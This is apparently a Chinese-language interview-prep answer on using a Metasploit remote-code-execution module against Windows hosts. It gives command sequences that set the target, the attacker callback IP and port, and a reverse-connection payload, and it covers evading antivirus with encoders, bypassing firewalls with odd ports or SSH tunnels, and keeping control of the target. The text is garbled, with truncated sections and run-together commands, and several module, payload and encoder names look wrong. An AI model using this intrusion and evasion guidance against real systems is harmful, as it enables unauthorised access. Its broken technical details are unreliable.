
1) 【一句话结论】利用Metasploit的RCE模块(如Windows PowerShell RCE),需先配置目标主机IP(RHOSTS)、攻击机IP(LHOST)、Payload及Encoder等参数,再通过执行模块并配合防火墙(非标准端口/隧道)和杀毒软件(编码/混淆)的绕过技术,实现远程代码执行并维持控制。
2) 【原理/概念讲解】老师口吻解释:Metasploit的RCE模块由几个核心组件构成:
shikata_ga_nai),影响绕过效果;cmd=whoami),指定执行的具体命令。3) 【对比与适用场景】
| 绕过方法 | 针对反制措施 | 适用场景 | 注意点 |
|---|---|---|---|
| 非标准端口 | 防火墙端口过滤 | 防火墙限制标准端口(如443、3389) | 需确保目标系统开放非标准端口,否则无法连接 |
| 编码/混淆 | 杀毒软件签名检测 | 常规绕过,避免杀毒软件检测 | 选择合适的Encoder(如x86/shikata_ga_nai),避免过度编码导致性能下降 |
| 隧道技术(如SSH) | 防火墙IP过滤 | 目标有IP白名单或限制 | 需目标系统开放SSH端口,且攻击机能建立合法连接 |
| 系统服务模拟 | 杀毒软件行为检测 | 高级绕过,隐藏为系统进程 | 需了解目标系统服务机制,模拟启动方式 |
4) 【示例】配置PowerShell RCE模块步骤(包含RHOSTS):
use exploit/windows/meterpreter/reverse_tcpset RHOSTS 192.168.1.1(目标主机IP)set LHOST 192.168.1.100(攻击机IP),set LPORT 4444(端口)set PAYLOAD windows/powershell/reverse(PowerShell反向连接)set Encoder x86/shikata_ga_nai(编码方式)exploit -j -z(-j后台,-z静默)LPORT为9999;若杀毒软件检测,通过Encoder绕过。5) 【面试口播版答案】面试官您好,利用Metasploit的RCE模块(以Windows PowerShell RCE为例),首先加载对应模块,比如use exploit/windows/meterpreter/reverse_tcp,然后设置目标主机IP(RHOSTS为192.168.1.1),攻击机IP(LHOST为攻击机IP,如192.168.1.100)和端口(LPORT为4444),接着配置Payload为PowerShell的RCE,再设置Encoder(如x86/shikata_ga_nai)来绕过杀毒检测。执行时,通过exploit -j -z启动,同时处理反制措施,比如如果防火墙阻止标准端口,可以修改LPORT为非标准端口,或者使用SSH隧道绕过IP过滤,对于杀毒软件,通过编码让Payload难以检测。这样就能成功执行远程代码并维持控制。
6) 【追问清单】
set RHOSTS 192.168.1.1,192.168.1.2批量设置,或先扫描开放端口再指定。x86/mimikatz或自定义编码),或结合漏洞的特定触发条件(如利用PowerShell的-ExecutionPolicy Bypass策略绕过执行限制)。show sessions查看会话,执行命令(如whoami、dir)查看输出,或使用post/windows/gather/enum_services等模块收集信息,确认控制台有响应。7) 【常见坑/雷区】
LHOST设为目标IP,导致无法连接;Restricted,需要设置-ExecutionPolicy Bypass或通过编码绕过。